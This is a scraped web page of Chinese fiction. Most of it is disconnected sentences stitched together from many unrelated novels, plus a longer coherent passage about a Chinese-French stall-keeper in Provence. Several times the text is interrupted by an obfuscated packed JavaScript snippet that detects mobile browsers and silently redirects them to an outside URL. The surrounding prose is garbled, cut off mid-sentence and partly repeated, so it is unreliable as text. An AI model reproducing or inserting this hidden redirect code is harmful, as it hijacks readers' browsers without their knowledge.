"我说……这样不干活真的好吗?我怕他们来找我们麻烦!"卡姆轻轻拍了拍叶幻的肩膀,有些担心地说道。 “虽然飓风魔皇被我干掉,但我对魔主还没有完全信任。”吴天耸了耸肩说道。 那里发生了什么?为什么会有人战斗,且还需整个前线的武者前去接应? 柯妙妙被林天弄得一边大笑一边在地上打滚,第一次见到这么可恶的家伙。 韩萧见他们二人你一言我一语聊得起劲,也懒得搭理他们,悄悄向四周看了看,蹑手蹑脚向后方退去。 "他这是像我们摆架子,他想告诉我们,他并不是蝼蚁,并不是我们随便控制的蝼蚁!一个奴隶完成了主人的任务,恐怕第一时间就跑过来领赏了,而他并不想这样!"奥露西娅平静地说道。 叶风目光扫过,只见这些修士的修为参差不齐,既有一线天也有问鼎,不过为首的倒是一人仙级别的男子。 在这位俊美男子的凝视之下,林东感觉到自己体内的一切似乎都被看穿了,毫无秘密可言。对方拥有极其强大的精神力,能够侵入他体内的每个角落。 电梯里的一场欢愉就让一念透支了所有的精力,之后在房间里的状态一直有些浑浑噩噩,那满屋子玫瑰的房间,空气中漂浮着迷醉人的馥郁香气,到现在都还没醉醒过来。 兰若离急促的呼吸,饱满的胸脯不断的起伏。她洁白如玉的额头上滴落了数颗冷汗,一副惊魂未定的模样。不过片刻后她的脸色变得难为情,林东展现出了无与伦比的实力后,她真的没有资格夺取火焰神符。 在臭鼬工作室,跟神秘科学家合作的那个分部叫“魔芋”分部,也在加州的棕榈谷,占有庞大的面积的实验室。跟臭鼬的臭名昭著的气味一样,魔芋也散发着污秽之气,以吸引来腐尸甲虫和其他花粉传播者。可谓一丘之貉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860038|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 汤普森让那些人把尸体放在另外一辆车,他和几个全身武装的警察在一辆防弹的七人车。 十分钟,不知道未来又会是如何,但现在和他在一起的时间她一秒都不能浪费。 “痛!”上官漠瑶痛得叫了一声,自己有疼痛的感觉,这说明自己真的不是在做梦。 方大雷这边脸上肌肉不断抽搐。一脸便秘的模样,那边秦广王一局4v4团战已经结束了。 不出意外的话,弹指红颜老也是如此,必须得具备某些特殊能力或者特性,方才能侥幸成功闯出,绝对不是单纯的实力因素。 他们也没想到,此人竟然得到了仙物,至于是真是假,杀了搜查一番不就知道了? 金发光蹑手蹑脚地走进别墅,乔美美还没有回家,臭丫头又要加班,回到自己的房间,关上门,也不开灯,直接走到与自己房间相连的阳台上。 同样震惊的可不止他们,十三位圣人,看到落凤山的那一刻,也表现出惊讶。 “是!”秦天赐颇有些心情沉重的答道,自己这爷爷实在是让自己有点捉摸不透。 “你真的要回去吗?要不然跟我们去九州吧。”我有些关切的看着夏岚,她昨晚被姬磐重伤,此刻脸色还有些苍白,状态不太好。 可魂丹并不知道,魂天帝和另一尊伪帝强者,也是抱着同样的想法。 “没问题,我现在就 通知下去!”王强说着掏出电话,走到一边打电话去了。 “你的老对手哈苏拳王被俺们搞掉啦,这难道不是替你杀敌吗?”二xǎo&bp;jě连说带笑,几句话就把这一天发生的事件阐述出来。听了这话屠振宇多云转晴天,冰凉的面庞浮上一层难得的激动。 眼前递来一方洁净的手帕,带着淡淡的清香,他看了一眼,勉强可以接受,皱着眉头接过来。 第81章 男人的话题VS女人的话题 苏软妹听了方世遗的一番论调,就觉得方世遗果然是个大才,就连她自己也自愧不如。 那张承显身后的朱家年轻人瞳孔猛然皱缩,他正想说什么,却是被张承显不留痕迹的拉住了衣摆。 “你们要是出不起价呢,那我给公子另外安排一个。那姑娘也不差。”张妈妈说着就要将人带走。 苏软妹收回了角色卡,并把它彻底的打乱,然后再一一的发给了众人,等到众人都看清了自己的身份之后,苏软妹就开始了新一轮的游戏。 陆瑶的脸色煞白,哪怕是陈尘的话语里没有半个脏字,但聪明的她还是听出了些许的嫌弃。 他们中有不少人是家庭背景都不错的二代,寻求刺激和威风,才跟上了林献阳。 那人年约五六十岁,穿着一身黑衫,正目光冷厉的望着台上的陈尘。 “你爱上的男人竟然是厉子漠,眼光不错,但比我还是差一些。”宋三狂佞的笑了。毫无伪装后的他,甚至连脸都有些和宋言不像了。温雅的眉眼,变得肆意张扬,甚至透着一丝邪恶。 眼前失去信仰之力的神国相当于被一瞬间从信息时代打回工业时代的人类城镇,虽然伤筋动骨,但并不会彻底消亡。 而这种过程一个月里只要多来几百次,一跳三米就将变得轻而易举。 然却不急对招,反而走近,抬手覆上她的额头,而后拇指微碾,嘉荣下意识闭上双眼,霎时数道流光自其额间飞散而去,再次睁开时,她只觉得身形轻盈,精力充沛。 江冽尘又惊又怒,正想回掌迎击,原翼已先行出招,抵住了他攻势,几掌迅速斩过,横身一转,将他一只手臂自颈侧扭到背后,同时探手横勒在他颈前,暂时制住了他一应举动。 一股神圣的声音总算没有让骢毅寒心,终于是从宇宙的一个角落传了过来。 就在叶辰讲故事的时候,学校里很多的老师和校长,对于一开始叶辰的故事还是非常的满意的。 正因为如此,陈明才大胆地启用叶辰,而叶辰也没有让他失望,上次的大型对话类栏目非常出彩。 玄霜险些一口血喷了出来。仔细又想一会儿,忽然灵光一现,叫了声“哎呀!”说来自己确曾有一件内衣不翼而飞。而要说销毁罪证,仅一次是不曾有过。 陆斐用自己迟钝的大脑认真想了想,觉得陆玉签是为了陆家的名声。 嘉荣已经在脑子里思虑好了一切,她似乎已经开始接受自己既定的命运里又要突然加入一个溟涬,结果这人现在说了什么?‘不’? 这样的疑惑,早就纠缠在她心头,从进逸城之前,到在逸城之中,直至现在。睡觉前,她如是问云杉,第二天起来,洗漱完毕,吃饭之时,她又问了一遍。去往岳州的途中,她还是盘问不停。 看着铁匠的红脸上露出了坏笑的神色,我就知道,他有办法了,而我也要被讹了。 秦唐跟着老板进了包间之内,商谈了一番之后,总算是确认了赔偿价格。 好了,说了这么多还不知道这个不惜让自己死不超生也要诅咒别人的那个狠人到底是谁,这一点谁也不知道,就连李林自己也不知道,因为他又不是那个被诅咒之人,所以只能说这一次李林是真的遭受了无妄之灾了吧? “呵呵,有了da样本对比结果,就更有说服力,对不对?”石东明吐出口香糖,满条私聊地说道,“我的经验和直觉都告诉我,那只蚊子尸体内绝对有犯罪嫌疑人的血液。”最后一句话,他却是望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860039|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着包飞扬说的。 方天风疑惑地发现,乔婷的气运上空,竟然隐隐出现金黄色的官气,级别是副厅级,相当于一位副市长。 十几种七品灵药的封印同时告破,那专属的独特气息立即飘散开来,十方星斗大阵都封禁不住,十几种混合着那气息更是强大绝伦。 显露出淤泥的水面就是一阵劲风吹过也掀不起一丝波纹,一股无形的力量笼罩在恶泽上方,任何东西都无法飞过,死后的恶鬼仿佛也被禁锢,弄得上面鬼气森森。 不管怎么说还是先等这个任务世界结束再说吧,现在实验也不现实。 鹏无敌让真身变得更加巨大,双翅扇动,将速度展开到极致,双眼中更是射出夺目的神采。 才刚刚有点出息,就直接被爆出这么恶劣的新闻,估计这辈子都混不了娱乐圈这口饭了。 在众人的注视下,鹿久投票了,如果可以,鹿久是想投自来也的,但是他明白,团藏的狠辣不是自来也可以比的。 “我说他没事,他就没事。不信你们可以找大夫来诊断嘛……”乔楚伸脚过去踢了踢那伙计。 租房子的钱,装修的钱,布置家具的钱,还有请老师的费用,陈清欢全包,也不在乎自己能赚多少,就当给老年人提供一个活动中心。 “正是,母亲知道这段时间皇十分劳累,亲自动手做的,命令我一定要亲自端来。”槐阆笑的一脸无奈。 本来宋主任给她安排的工作是只试验纱线的重量,这些涉及到核心的东西,都是宋主任直接把关的。 “说什么,说你嘴巴臭?能不能好好说话!你别烦我!我还有事!”陈清欢大声的爆发出来。声音之大,把身边 路过的人都吓一跳。 第82章 我儿子真棒 他和奥黛丽对莎尔展开攻击,但莎尔竟然使用了无敌技能,然后准备使用最强的黑暗神职专属神术。 而有点名望的人,尸体才会被装入棺材,难道自己真的挖到了一个棺材? 今天是月中十五,圆圆的月亮如同皎洁的玉盘真不是偷鸡摸狗的好时间。 他再一看他的四周,魏晓东现在已经在他的房间里面了。他把兑换出来的这一斤佳酿放到了客厅的柜子上面。 最后舒晓不得不放弃了,毕竟她在德国还有工作,不可能无限期的呆着国内。再者说,周凯也不可能一直不露面,他们之间以后还有的是机会。所以,在新闻发布会后的第三天,舒晓向司马婷婷提出了告辞。 “我明白了……”纲手说着,准备赶过去看看。她此时的脸色仍然有些苍白,毕竟查克拉早就消耗过度了。 高等巫妖格拉夫看到他找上门。高兴的不得了,立即让家族另外三位半神强者也出来迎接。这个家族真狠。四个半神强者有三个高等巫妖和一个死亡骑士,为了生命放弃一切。 王俊杰已然彻底陷入了癫狂的状态,手旁边有什么,他就砸什么。 这个同学是想来找工作的,魏晓东听了以后,真的是太高兴了,这次他想好好对他的这个同学,因为他们原来的关系还不错。 两人开始到处翻找起来,日足用白眼一看,发现墙后面有个暗门,于是拍拍胜平的后背,两人走了进去。 杜雪襄被锦卿逼的要发疯。捶床瞪眼的说不出话来,锦卿心笃定了,张妍并没有把她在榻下看到自己和吴兴的事情说给杜雪襄知道。否则杜雪襄肯定会用这事来要挟自己。 暗火的声音让长宁有些恍忽的心中多了一丝清明。她回过神来,心中想道,的确,是很可怕她中这样想着,面上却丝毫不露,只是怔怔地看着云澜,目光之中带着无限的柔情蜜意。 慕容浩轩见了此情此景,忍不住在心里,连连的哀叹,极度的无可奈何,神情异常的悲凉。 如果孩子们真的早恋了,这种事情想管都管不住,更何况,现在这两个孩子要是想在一块他们两个根本不会反对呢? 有些话不能说,可是有些话还是必须说清楚的,高老既然有可能教自己功夫,让他了解自己的体质问题以后可以避免麻烦。至于师父那里嘛……自己已经坚持一年的事,他怎么可能制止的了? “姐,我怎么觉得那个二姐夫老……”孙明跟林笑笑苏清宇一起向外走着,皱着眉头琢磨着什么。 啪!黑影话说完的同时,黑暗中一个物事径直飞了过来,奥卡顺手接住,那是一个食物袋,里面透着淡淡的温热,不用说,自然是刚刚他要的那些食物。 “如何,高公子?你考虑的怎么样了?我的时间可不多了。”梅谢悠然的品茗,仿佛在和老友讨论天气。 谁知,刚刚进了客栈的院落,阎倾就没有丝毫危机意识的被人家给擒住了。 亚瑟举起手,制止了部下的动作,他的眼神‘激’烈而又深沉,他似乎在挖掘着奥卡话语中隐藏的真正深意。 入眼所见尽是一片通白与圣洁,整个世界都像是被圣光所笼罩一般,无边无尽的光辉从天穹之上洒落而下,如同温润的雨点一般洋溢在所有地方。 陈天翊是金融风云榜上的人物,夏冬梅怎么会不知道,得到了倩倩的确认,她立刻扭头看去悠悠,悄悄示意了下眼神。 他杀的都是妖怪,要害师父的妖怪,这有错吗?现在你竟听那猪头的话,不相信俺老孙? 在率领着众人搬到巫师高塔的时候,帕奇就已经准备好在巫师高塔内外附着上一层魔纹构造,让整个巫师高塔彻底成为一件特殊的魔法生命,或者说是成为帕奇真正的“灵魂堡垒”了。 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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亲戚都在中国,逢年过节只有他们三口人,十几年没这么热闹过了。 罗南跟在父母身后,稳重的像个真正的‘家长’ “来普罗旺斯生活,每周都可以这样聚好几次。” “真的?”冯珍和罗天海同时兴奋的回头。 罗南右手做了一个打电话的动作 “无聊了随时打电话,晚上人就来了。” 罗天海想到什么 “这么多次,都是去别人家?” 罗南来普罗旺斯三个多月了,如果频率这么高,聚会总量有不少次。 他只在罗南家见到了四把椅子,餐具也很少,那里没有办聚会的条件。 罗南耸肩 “我也想请朋友们,但一个人忙不过来,而且别人都是一家一家的。” 他又撇了下嘴 “我张罗聚会会很可怜不是吗?” 罗天海低下头去不再说话。 这事不能怪孩子。 让他一个组织这么多人的聚会确实难为他了。 如果他们也在普罗旺斯就好了。 晚上。 罗天海控制不住的思考起‘来普罗旺斯生活’是否可行的事。 他很喜欢这里。 喜欢这里的人,喜欢这里的风景,也喜欢这里的生活氛围。 但他来普罗旺斯干什么呢? 现在正是家里经济最紧张的时候 “诶!我跟你说话呢!”冯珍拍了两下罗天海,打断了他的思绪。 “什么?”罗天海看过去。 冯珍手里拿着一个红色的钱包 “我问你,给儿子存的钱哪天给他?” 自从罗南背上房贷,冯珍和罗天海就开始省吃俭用的存钱。 冯珍在巴黎每个月赚3000多法郎,罗天海赚得多一点,每个月5000多,但巴黎的消费也贵,三个多月只存了4000法郎,打算给罗南还房贷用。 罗天海想了想 “明天给他吧。” 今天不行了,罗南的房间已经关了灯。 后天是复活节,也不太适合聊这么‘沉重’的话题。 大后天一早就要离开了。 “行,那明天从集市回来给他。”冯珍把钱包小心翼翼的收起来,回来的路上随手关掉卧室的灯。 黑暗中。 罗天海眉头紧锁,继续思考‘来普罗旺斯生活’的可行性。 他身边的冯珍脸上挂满了笑容。 明天早上又能见到佐伊了。 第二天一早。 罗南家五点就亮起了灯。 弗雷迪说他昨天从博尼约开回卢尔马兰用了两个小时,罗南担心旅行大军影响他们去梅纳村,特意早起两个小时。 他们没有在家吃早饭,莉亚想让罗南的父母尝尝她做的特色三明治。 而且罗南和佐伊要摆摊,没时间带罗南的父母在梅纳村参观,莉亚主动表示她可以做半天导游,维埃里听到这个消息也要一起去。 所以,今天会是一个庞大的出行队伍! 罗南开了他自己的车,后面装着摆摊用的东西,罗南的父母开着切诺基,与第一缕阳光同时抵达路易家。 佐伊、维埃里和莉亚已经等在门口。 “这么早起还习惯吧?”罗南接过佐伊手里的东西。 “还好,我昨天睡的很早。”佐伊淡淡的说。 莉亚偷偷抿了一下嘴。 昨天夜里十二点多她还听到佐伊去厕所的声音,她一定是为罗南的父母到来而紧张。 莉亚昨晚同样失眠了 新闻上讲,亚洲人很传统。 万一罗南的父母不支持他们在一起怎么办? 她不放心! 罗南把佐伊摆摊用的东西放好,拉开副驾驶的门,他这辆车可以再坐一个人。 维埃里一个箭步冲上去,两只胳膊同时被人抓住。 “你今年多大了?”冯珍突然对维埃里产生了浓厚的兴趣。 “维埃里,你和我坐一起。”莉亚把维埃里往切诺基上拉。 冯珍和莉亚互看一眼,同时流露出了意外、了然、激动和放心等复杂情绪。 原来你也?! “佐伊,你去那辆车吧,我们这辆车满了。”冯珍和蔼的说。 “没——”维埃里的嘴被莉亚堵住。 莉亚和冯珍鼓励似的互相点了下头。 辛苦了。 你也是。 “居然这么堵。”罗南拍了下方向盘。 去梅纳村的路堵的一塌糊涂,路上全是四面八方赶去参加集市的车辆,中间还遇到了几起车祸。 现在才早上6点,都不敢想象白天会是什么样。 这就是旅行季太恐怖了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他们看多久了?!”罗南用力后仰脑袋,瑟瑟发抖。 佐伊放肆大笑起来,隔着罗南对隔壁车招手 “刚才的自信呢?嗯?” 第84章 发‘大\’财了 萧黑山自然清楚眼下局势,无可奈何下,他只能硬着头皮朝着那裂痕时空走去。 “并不是我写的,是我的一位朋友,他和我同校,叫做游子诗,今天也来参赛了……”苏音不忘帮游子诗做宣传。 随着陈锋随手一甩,那恐怖的巨斧,硬生生被扭曲了方向,斩向附近一个荒芜贫瘠的山脉。 江寒本以为这是要找到什么开关,或者什么契机才能找到继续前进的路,然而并不是,没过了多久,水面上泛起了大量的气泡。 看着面前这口长逾5尺,头部四方的“银霜神剑”,李婉晴禁不住面部一阵抽搐。 唐泽眼神一冷,当即发动技能v2【恶魔杖廷】,咆哮着的羊头恶魔虚影挥动巨棍,狠狠地砸在无形的墙壁上。 于是第二命立刻付诸于行动,那就是以元力波探知那东西隐藏点。不论任何物质在遭遇到元力波动时,都会反馈一些力场,这样就会让第二命感知到它们的所在。 不远处,在两个山体夹缝组成的通道尽头,是一片崎岖不平的岩地,漫天风沙席卷,可见度不足十米。 黑曜龙王先是一惊,仔细观察后笑了,稍微提起的心彻底放松下来。 叶飞扬无事便看看屏幕,发现那孩子已经正弯着身子,好像那手正放在嘴的位置,吮吸着。 叶飞扬想着自己现在住的地方,那个大呀,一楼的房间还空着两间。 我的理由也很充分,为了应付不时之需,因此必须要修炼,最好今天晚上就能发挥作用。 洛宇没看到她砍杀的英姿,所以没法理解梦凡的“不带躲”是什么意思,行尸有七八个,按照自己的身手来看,似乎做不到如此迅速。 见虹晖的服务员跟着走进来,他也不好当面外人的面斥责自己店里的人,那不是当着别人的面打自己巴掌吗?他便忍了下来,想着等外人走了,再说道说道,怎么可以直接冲进来? 十指战栗地从地下的石格中将不大的骨灰盒取出,然后,他抱进怀中,再也舍不得放手。 我看了看,正好是在屋子里的四个方位,花了四个通红通红的阵法,是用公鸡血加上那些药材的沫一起融合后画的。 周围之人都是有点紧张的看着王赢,等待他的选择,若是王赢选择杀了柳挚,那么狠可能陨落与此,就像周晓所说的那样,陨落的天才,便不再是天才。 冰荷千语天罚直指龙音樱,冰蓝‘色’的眸子紧锁住龙音樱,似乎一眼就可以把她看穿。 枪口火光乍现,子弹精准钉进汉子眉心,一团血雾混着脑浆迸开,汉子身体微震,轰然倒地,脑后红白之物瓢泼渲染。 朱由校听后不由得一愣,旋即就明白了李明睿这样做的深意,无非就是要让朱由检做东林党最后的刽子手,以让江南的士绅们彻底死心。 见到学姐点头,他没有再问,拉着对方的手,在兑换商城中购买了一次性传送,只见眼前场景变换,下一刻两人便出现在郊外别墅之中,虽然有着各种联络工具,但重要的话当面讲更为适宜。 身为雒阳八关之一的守将,故然是朝庭深信的忠勇之将,但是职务枯糙无味,终生也难有立功升职之机。丁原如今年愈五十,再无升职之机,就要在孟津港终老了。身为心有大志之人,又如何能够甘心? “少主!”周围七人立刻连滚带爬的凑了过去,丝毫不顾自己身上的伤势,立刻抱起地上的蒙傲,取出丹药给他服下。当察觉到蒙傲只是胳膊废了,然后受了一些反震之力而已之后,众人都松了一口气。 看完这些,陈墨突然有些好奇,奥尔巴赫究竟是什么派系的,作为陈墨最早接触到的传奇强者,兼之又是陈墨的导师,他还是很想知道对方的选择的。既然阿德里安不忙,陈墨正好问个明白。 不就是一个月的封闭训练吗?他就是想好好训练一个月,体验一下军事封闭的铁血。这个经历,他相信对他今后的比赛有帮助。 见桌子不够用,李明月只能又添了二十张桌子,这才让代表们全部坐下。 从一开始的时候,姜琦就发现了,他胸前彩色计时器的闪烁频率和他了解不太一样,不是时间限制,在梦魇战役中,他可是足足打了十分钟,也不是能量情况。 “这……这到底是怎么回事?”自家人知道自家事,自己以前在仪卫之中就算不得出色,甚至是垫底的,不然也不会被分配给许旭峰。但是,怎么今天自己随便一挥手,就能推倒一片? “咦?入地?哈哈哈,对了!”天龙想着想着,突然之间脑袋灵光一闪,想到了什么,手一拍储物袋,一枚丹药出现,被他一下抓在手中,然后身体就消失不见了。 徐邦兴从苍云口中已经听过了他们攻破大营的经过,不过此刻,他还是想听一下两位当事人亲自说说经过。 而今日,苏府来人告诉她要把方醒的墓碑给拆了,告诉她方醒回来了,她便领着这三人恍惚的往这里走,真的以为是一场梦。 众人还来不及反应,忽觉脚下甲板剧烈振动起来,夹杂着一股巨大的力量澎湃而起、四分五裂开来。 萧黑山自然清楚眼下局势,无可奈何下,他只能硬着头皮朝着那裂痕时空走去。 “并不是我写的,是我的一位朋友,他和我同校,叫做游子诗,今天也来参赛了……”苏音不忘帮游子诗做宣传。 随着陈锋随手一甩,那恐怖的巨斧,硬生生被扭曲了方向,斩向附近一个荒芜贫瘠的山脉。 江寒本以为这是要找到什么开关,或者什么契机才能找到继续前进的路,然而并不是,没过了多久,水面上泛起了大量的气泡。 看着面前这口长逾5尺,头部四方的“银霜神剑”,李婉晴禁不住面部一阵抽搐。 唐泽眼神一冷,当即发动技能v2【恶魔杖廷】,咆哮着的羊头恶魔虚影挥动巨棍,狠狠地砸在无形的墙壁上。 于是第二命立刻付诸于行动,那就是以元力波探知那东西隐藏点。不论任何物质在遭遇到元力波动时,都会反馈一些力场,这样就会让第二命感知到它们的所在。 不远处,在两个山体夹缝组成的通道尽头,是一片崎岖不平的岩地,漫天风沙席卷,可见度不足十米。 黑曜龙王先是一惊,仔细观察后笑了,稍微提起的心彻底放松下来。 叶飞扬无事便看看屏幕,发现那孩子已经正弯着身子,好像那手正放在嘴的位置,吮吸着。 叶飞扬想着自己现在住的地方,那个大呀,一楼的房间还空着两间。 我的理由也很充分,为了应付不时之需,因此必须要修炼,最好今天晚上就能发挥作用。 洛宇没看到她砍杀的英姿,所以没法理解梦凡的“不带躲”是什么意思,行尸有七八个,按照自己的身手来看,似乎做不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看完这些,陈墨突然有些好奇,奥尔巴赫究竟是什么派系的,作为陈墨最早接触到的传奇强者,兼之又是陈墨的导师,他还是很想知道对方的选择的。既然阿德里安不忙,陈墨正好问个明白。 不就是一个月的封闭训练吗?他就是想好好训练一个月,体验一下军事封闭的铁血。这个经历,他相信对他今后的比赛有帮助。 见桌子不够用,李明月只能又添了二十张桌子,这才让代表们全部坐下。 从一开始的时候,姜琦就发现了,他胸前彩色计时器的闪烁频率和他了解不太一样,不是时间限制,在梦魇战役中,他可是足足打了十分钟,也不是能量情况。 “这……这到底是怎么回事?”自家人知道自家事,自己以前在仪卫之中就算不得出色,甚至是垫底的,不然也不会被分配给许旭峰。但是,怎么今天自己随便一挥手,就能推倒一片? “咦?入地?哈哈哈,对了!”天龙想着想着,突然之间脑袋灵光一闪,想到了什么,手一拍储物袋,一枚丹药出现,被他一下抓在手中,然后身体就消失不见了。 徐邦兴从苍云口中已经听过了他们攻破大营的经过,不过此刻,他还是想听一下两位当事人亲自说说经过。 而今日,苏府来人告诉她要把方醒的墓碑给拆了,告诉她方醒回来了,她便领着这三人恍惚的往这里走,真的以为是一场梦。 众人还来不及反应,忽觉脚下甲板剧烈振动起来,夹杂着一股巨大的力量澎湃而起、四分五裂开来。 第85章 意外的访客 “定是奴婢弄错了,奴婢这就告退。”辛瑶也懒得争辩,既然无事,她一刻也不愿多作停留。 峰哥从口袋里掏出一沓票来,给众人分发,一边安排着位置,依依接过票后,看了看,是一排5座的,王晓云则在她隔壁。 温如一看任务面板,一分钟的倒计时还在继续。显然这里还不是所谓的轮回区。 然而,对方依旧遥望视野尽头的海上风光,对于她的言语,并未显露丝毫感触。如此一幕,木珊珊更加确定了自己内心的猜测。 孙子晨其实也不明白上面为什么要求自己寸步不离的跟着何遇,但作为军人,以服从命令为天职,她只能一丝不苟地履行自己的职责,看住何遇。 回去查了一些比较隐秘的资料才发现,鬼道系职业者跟常人还是大有不同的。 之后,他不说一话就出去了,让孙谚有些摸不着头脑,等他回来的时候,就已经抱着一箱东西回来了。 之后,张景胜派出人去打探,结果得到了一个令他惊讶的消息,剑十九的确是死了,不过不是死在那些怪物的“手”中,而是死在了余烬之城城主手中。 南岩区丧尸和变异体数目大幅减少,这个消息原本早该得知,但距现在最近的一次空中侦测已有一月之久。 宅子里只有昏暗和更昏暗,夜晚来临的时候大家都没有发觉,白昼的交替实在不明显。 苏涵在一旁听着眨了眨眼。吴总家的少爷,那不就是吴冰吗?他后天生日……11月11号,噗,原来吴冰是个超级大光棍,还是个天蝎男,怪不得他那么记仇,报复心还那么强,这些倒是很符合天蝎座的特点。 这一次沃尔城一行的收获远超出了他的预料,该怎么好好利用其实他根本没有想好。 考核很残酷,里面的内容包括会使用多种武器,不是实验作秀的道具,而是真真正正的武器,考核中受伤流血很正常,甚至因为考核内容而送命的也出现过,这种考核更像是一场战争。 这血炼精魄想必是对自己的实力,十分有信心了!没错,血炼精魄比起阿凉曾经所吞噬的鬼灭精魄,可要强不少,这血炼精魄在精魄排行榜上,可是排在第五位。 “也是保护人类,尽可能避开浩劫的防御中心!”断月已经被一束蓝光反复的上下“扫描”来确认身份。 朝宗坐西方圆百里之外的一座黑色山脉上,有着无尽黑色雾霭笼罩在这里,天空上,一片愁云惨淡,下方黑雾蠕动的山林间,更不时的传出阵阵阴风,雾茫凝聚,低沉的轰鸣之声自黑云涌动的天际上滚滚而出。 哇哇,他是真不注意公众形象…苏涵的脸害羞得都红到耳根了,但还是浅浅地抱着他的腰,配合着这个缠绵的吻。 没有多逗留,次日,水涟月便下山返回京都,百汇山距离京都还很远,日夜兼程也要十日有余。 “哼!伶牙利齿。现在说什么都还早了点!在场上自见分晓吧!”王伯显得有些不忿。 几乎是零点零一秒后,现场响起了山本健太那声嘶力竭的哀嚎声音。 此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你知道的,卢尔马兰村处于平原地区,不像其他鸟巢村那样有美丽的山景,村里也没有属于自己的酒庄,很难吸引商人来这里注资,我们只有朴素的村民和不输给其他村子的风土人情。” 他看向布兰科 “但这远远不够,我们甚至连自己的村民都很难吸引了” 布兰科自责的叹气 “这种情况在我上任后更加严重,和卢尔马兰村的集市相比,村民们更愿意去规模更大的集市上卖东西,这就造成了恶性循环吕贝隆的集市文化是吸引游客的非常重要手段,没有特色商品就吸引不来游客,游客不来卢尔马兰,村民们就去别的村子卖东西。” 他自嘲的笑了一下 “年初沃克吕兹省旅游局做了一份统计数据,卢尔马兰村去年的游客总量是梅纳村的八分之一,戈尔德的十分之一,博尼约的五分之一,集市规模在全吕贝隆地区位于倒数,我只能向卡尔他们求助卢尔马兰必须要‘振兴’了。” 卡尔接下了布兰科的话 “近三年,沃克吕兹省在旅游方面频频发力,很多表现突出的行业和村落都得到了资金支持,以帮助他们做配套升级,如果卢尔马兰不改变现状,在这次升级结束后必将被‘抛弃’。” 罗天海和冯珍听的心都揪到了一起。 如此美丽的村子表皮下,居然藏了这么大的危机? 但罗南表情没有任何变化,甚至还有心情給卡尔和布兰科倒粉红酒。 卢尔马兰在未来是商业价值不输梅纳村的‘法国最美丽小镇’之一。 罗南不知道发生过什么,但很显然在它没有在这次‘大升级’中掉队,说不定还捞了不少好处。 等等。 这些好处我能利用上吗? 见罗南一言不发,布兰科再次把话题引到了此行的目的上 “你登上了《密法尔指南》,是很多游客追逐的对象,听说今天你的摊位前异常火爆,我和卡尔几个人商量后,希望你能把‘特色’延续到卢尔马兰。” 罗南耸肩道 “《密法尔指南》只记录我在梅纳村的集市,即使我来卢尔马兰,他们也不知道我在这里,而且我的‘特色’现在不是什么特色了,这周在集市上有很多人卖起了粉红酒。” 如果是半个月前,罗南确实可以称为‘特色’,整个集市上只有他用‘普罗旺斯的特色粉红酒’做噱头,但这周效仿他的人层出不穷,罗南已经在思考改‘广告词’了。 卡尔喝了一口冰镇的粉红色液体 “你的‘特色’不是卖什么东西,而是你这个人,还有其他黄皮肤的摊主在集市上卖东西吗?” 罗南平坦双手 “现在没有,但我想很快就会有了。” 任何成功的模式出现后,都会出现效仿者。 布兰科也喝了一口粉红酒 “但那个人会做锅包肉吗?会做中国美食吗?” 卡尔对布兰科点了下头,布兰科放下酒杯,诚恳的说 “我们想把你‘包装’成卢尔马兰的特色,给游客们讲述一个生长在巴黎的华裔,被卢尔拉兰所吸引,决定把根扎在这里,学习当地文化、融入当地生活,挖掘出了本地人都不曾重视过的‘特色粉红酒’,还不忘传播中国美食的故事。” 罗南越听表情越扭曲,脊背发凉 “在哪儿讲?怎么讲?” 上帝啊,你们不会要带我在吕贝隆各地演讲吧? 卡尔拍了拍他的拐杖 “用杂志和媒体,卢尔马兰村政府、旅游和文化中心还有市场管理中心打算拿出一笔钱,找几个本地杂志和媒体来卢尔马兰看一看,再让他们报道出去,吕贝隆不止有《密法尔指南》,旅行指南还有很多种。” 